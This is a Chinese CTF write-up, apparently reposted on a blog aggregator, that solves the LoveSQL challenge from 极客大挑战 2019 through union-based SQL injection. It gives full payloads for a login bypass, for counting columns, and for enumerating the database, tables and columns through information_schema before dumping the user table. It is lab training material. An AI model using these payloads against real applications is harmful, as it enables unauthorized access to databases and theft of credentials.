[极客大挑战 2019]LoveSQL
2022/2/21 19:33:24
本文主要是介绍[极客大挑战 2019]LoveSQL,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
目录- [极客大挑战 2019]LoveSQL
- 首先简单测试一下题目
- 0x00
- 0x01
- 0x02
- 0x03
- 0x04
- 0x05
- 0x06
- 首先简单测试一下题目
[极客大挑战 2019]LoveSQL
首先简单测试一下题目
0x00
题目还是熟悉的登陆界面,先尝试一下万能密码的登陆
显示登陆成功,但是flag貌似不对
看起来像是MD5的加密,但是却无法解密
0x01
查询字段
admin' order by X #
当查询到4的时候返回Unknown column '4' in 'order clause'
然后用1' union select 1,2,3 #
所以回显点为2,3
0x02
查数据库名
1' union select 1,database(), version() #
得到数据库名为geek
0x03
爆表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
得到两个数据表名
我们尝试l0ve1ysq1
这个数据表
0x04
爆字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' #
得到这三个子段
0x05
爆数据
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #
得到flag
0x06
End
acc
这篇关于[极客大挑战 2019]LoveSQL的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-10-06小米11i印度快充版ROM合集:极致体验,超越期待
- 2024-10-06【ROM下载】小米11i 5G 印度版系统, 疾速跃迁,定义新速度
- 2024-10-06【ROM下载】小米 11 青春活力版,青春无极限,活力全开
- 2024-10-05小米13T Pro系统合集:性能与摄影的极致融合,值得你升级的系统ROM
- 2024-10-01基于Python+Vue开发的医院门诊预约挂号系统
- 2024-10-01基于Python+Vue开发的旅游景区管理系统
- 2024-10-01RestfulAPI入门指南:打造简单易懂的API接口
- 2024-10-01初学者指南:了解和使用Server Action
- 2024-10-01Server Component入门指南:搭建与配置详解
- 2024-10-01React 中使用 useRequest 实现数据请求